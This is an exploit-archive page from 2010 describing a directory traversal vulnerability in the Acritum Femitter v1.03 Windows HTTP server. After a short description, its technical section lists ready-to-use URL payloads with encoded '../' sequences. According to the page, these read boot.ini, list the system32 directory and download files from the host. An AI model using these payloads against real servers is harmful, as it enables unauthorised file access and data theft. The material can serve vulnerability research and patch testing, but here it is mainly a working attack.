[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Acritum Femitter v1.03 Directory Traversal Exploit
# Published : 2010-04-20
# Author : Dr_IDE
# Previous Title : Mongoose Web Server v2.8 Multiple Directory Traversal Exploits
# Next Title : EasyFTP Server <= 1.7.0.2 CWD Buffer Overflow (Metasploit)
############################################################
#
# Acritum Femitter v1.03 Directory Traversal Exploit
# Found By: Dr_IDE
# Date: Apr. 20, 2010
# Tested On: Windows 7
# Download: http://acritum.com/fem/download.htm
#
############################################################
- Description -
Acritum Femitter v1.03 is a Windows based HTTP server. This is the latest
version of the application available.
Acritum Femitter v1.03 is vulnerable to remote directory traversal attack by the
following means.
- Technical Details -
http://[webserver IP]/[../]
http://172.16.2.102////..%2f..%2f..%2f..%2fboot.ini <- File Access
http://172.16.2.102////..%2f..%2f..%2f..%2fwindows/system32 <- Full Directory Listing
http://172.16.2.102////..%2f..%2f..%2f..%2fwindows/system32/calc.exe <- File Download
#[pocoftheday.blogspot.com]